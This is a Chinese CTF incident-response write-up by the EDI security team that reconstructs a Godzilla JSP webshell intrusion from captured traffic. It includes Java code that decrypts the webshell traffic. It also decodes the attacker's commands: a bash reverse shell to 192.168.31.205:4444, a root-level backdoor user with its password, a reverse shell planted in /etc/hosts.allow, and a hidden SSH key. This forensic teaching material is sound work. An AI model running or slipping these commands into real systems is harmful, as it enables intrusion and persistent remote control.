EDI
JOIN US ▶▶▶
招新
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。
欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招web re crypto pwn misc方向的师傅)有意向的师傅请联系邮箱root@edisec.net、shiyi@edisec.net(带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。
点击蓝字 · 关注我们
01
前言
1
题目
2
黑客上传的木马文件名是什么
flag{.index.jsp}
3
黑客上传的木马链接是什么
flag{mypass}
4
黑客上传的木马链接密钥是什么
flag{9adbe0b3033881f8}
5
黑客连接webshell后执行的第一条命令是什么
前面都是哥斯拉初始化流量,这里开始用户执行
然后根据前面的jsp木马脚本进行解密
请求解密
package com.ezgame;
import java.io.*;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;
public class test {
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static byte[] x(byte[] s, boolean m, String xc) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
public static byte[] base64Decode(byte[] bytes) {
Class base64;
byte[] value = null;
Object decoder;
try {
base64 = Class.forName("java.util.Base64");
decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception e2) {
}
}
return value;
}
public static void main(String[] args) throws Exception {
String xc = "9adbe0b3033881f8";
String pass = "mypass";
String md5 = md5(pass + xc);
Scanner scanner = new Scanner(System.in);
System.out.println("请输入URL编码的字符串:");
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
String encodedString = reader.readLine();
String decodedString = URLDecoder.decode(encodedString, StandardCharsets.UTF_8.toString());
// System.out.println("URL解码后的字符串:" + decodedString);
scanner.close();
byte[] data = base64Decode(decodedString.getBytes());
data = base64Decode(data);
System.out.println(new String(data));
byte[] res = x(data, false, xc);
FileOutputStream fos = new FileOutputStream("res1.zip");
fos.write(res);
fos.close();
}
}
响应解密脚本,主要是少了一次base64
Scanner scanner = new Scanner(System.in);
System.out.println("请输入URL编码的字符串:");
String encodedString = scanner.nextLine(); // 获取用户输入的字符串
scanner.close();
byte[] bytes = base64Decode(encodedString.getBytes());
System.out.println(new String(bytes));
byte[] res = x(bytes, false, xc);
FileOutputStream fos = new FileOutputStream("res2.zip");
fos.write(res);
fos.close();
解密出来是一个zip压缩包,解压后丢到010即可
flag{cat /etc/passwd}
6
这个木马是根据哪个参数进行回显的?(提交参数名)
解密和解压后看到执行结果
得到参数名是Rec106e_config,当然从代码里也可以看出
flag{Rec106e_config}
7
黑客留下的后门的反连的IP和PORT是什么(flag{IP,PORT)
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMjA1LzQ0NDQgMD4mMQ==|base64 -d|bash
flag{192.168.31.205,4444}
8
黑客通过后门反连执行的第一条命令是什么
后续直接过滤这个ip和port的流量即可
flag{ls}
9
黑客新增的后门用户名密码是什么(提交flag{username,password})
新增了一个x用户且密码是Xj@666.然后添加到root组
echo dXNlcmFkZCAtcCBgb3BlbnNzbCBwYXNzd2QgLTEgLXNhbHQgJ3NhbHQnIFhqQDY2Ni5gIHggLW8gLXUgMCAtZyByb290IC1HIHJvb3QgLXMgL2Jpbi9iYXNoIA==|base64 -d|bash
useradd -p `openssl passwd -1 -salt 'salt' Xj@666.` x -o -u 0 -g root -G root -s /bin/bash
flag{x,Xj@666.}
10
黑客新增的后门文件是什么(提交完整路径)
后续就是一些ssh的流量了,猜测可能是ssh登录后操作的
出题命令:
echo ZWNobyAnQUxMOiBBTEw6IHNwYXduIChiYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4zMS4yMDAvNDQ0NCAwPiYxIikgJiA6YWxsb3cnID4gL2V0Yy9ob3N0cy5hbGxvdw==|base64 -d|bash
上机一些基础排查后发现后门被写到了/etc/hosts.allow文件,当有主机ssh连接时,就会自动反弹shell到黑客主机的4444端口。
flag{/etc/hosts.allow}
11
黑客的后门公钥是什么(提交公钥的md5值)
sshd_config 指定其他免认证文件
这里首先就要排查ssh配置文件,在41行发现还有一个可以免认证的文件
mkdir /root/.bash_h1story/
echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FEUE5LUDNRTCtpMXNhZmRzVTZaYjJNdW9CalpZcmVBRGp3aGJQM2R6WnBqd3g4YUM3WDFrOXNiOElFS1NqdnNXeGJiNG5DN3Ivd3pIS0hvMGJkbndkTTZSaXNqbmlvYjYrMGM0SW1CemtzeHZuUjNsSmpRZTVIdyt3aTQreW5BL0QzVTE5T2F6UnhjYTVJMUw2T05zcFNBYTNzNHN3MlFveGJ1QlZGZWwrSUtCemVicDhLN1ZCM0tyM1pscnk1TlRkNTJJbm4zNDd6WldmYjU2b2x4UmFIVEo2SVhBSkxlRm1HVDZSMm5EdWwybFk4SFdTMkQ1azhsREM5b05ld1RqdEZLelBWaTlydER6R0h4RGMxK2szZ0tFMlFrS1VqQkVZZmVLbVUrTjVHbVRUM3RJWWZySlNmV2Z4d0RyQ3Z2aHFuZjJ3WlFZdFpDTmY0OEMvb3BIOEVoUkJRckgvWDk0ZHJYK2VYSk9tb3pRektKZmRpZFFzaFJ3U0tEZmY2dzFnWWs9IHhpYW9sZUB4aWFvbGVkZU1hY0Jvb2stUHJvLmxvY2Fs|base64 -d > /root/.bash_h1story/.keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPNKP3QL+i1safdsU6Zb2MuoBjZYreADjwhbP3dzZpjwx8aC7X1k9sb8IEKSjvsWxbb4nC7r/wzHKHo0bdnwdM6Risjniob6+0c4ImBzksxvnR3lJjQe5Hw+wi4+ynA/D3U19OazRxca5I1L6ONspSAa3s4sw2QoxbuBVFel+IKBzebp8K7VB3Kr3Zlry5NTd52Inn347zZWfb56olxRaHTJ6IXAJLeFmGT6R2nDul2lY8HWS2D5k8lDC9oNewTjtFKzPVi9rtDzGHxDc1+k3gKE2QkKUjBEYfeKmU+N5GmTT3tIYfrJSfWfxwDrCvvhqnf2wZQYtZCNf48C/opH8EhRBQrH/X94drX+eXJOmozQzKJfdidQshRwSKDff6w1gYk= xiaole -Pro.local
将公钥内容进行md5提交即可
flag{d7bf0e27d6f533604250faceb28b6d4b}
12
黑客注入的内存马代理是哪种类型(如flag{frp})
先看这里的流量
目前还无法确定具体代理类型(前面几条数据流里有注入使用的代码,大佬看一下就知道了,后面介绍简单的更适合的方法)
flag{suo5}
13
这个代理的路径是什么(如flag{frp})
注入完成后访问了/connect,但是是404
这里开始从http转为tcp连接
发现连接了几次都是404
而第25个是成功的,观察发现两个请求的user-agent不同,这里就可以看出代理是判断了user-agent头,那就是suo5代理了。路径也就是/connect
flag{/connect}
14
这个代理的连接密码是什么(将得到的flag)
将user-agent的值进行md5后提交
flag{e3c77fd790af8d25fe271cd275eb405e}
15
黑客扫描了哪个ip的哪些端口?(端口按照文本的顺序提交即可如:flag{ip,21,22,23})
在最后一个流中发现扫描操作
flag{127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222}
16
黑客扫描到开放的端口有哪些?(端口从小到大排序提交如:flag{21,22,23})
flag{222,8081}
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论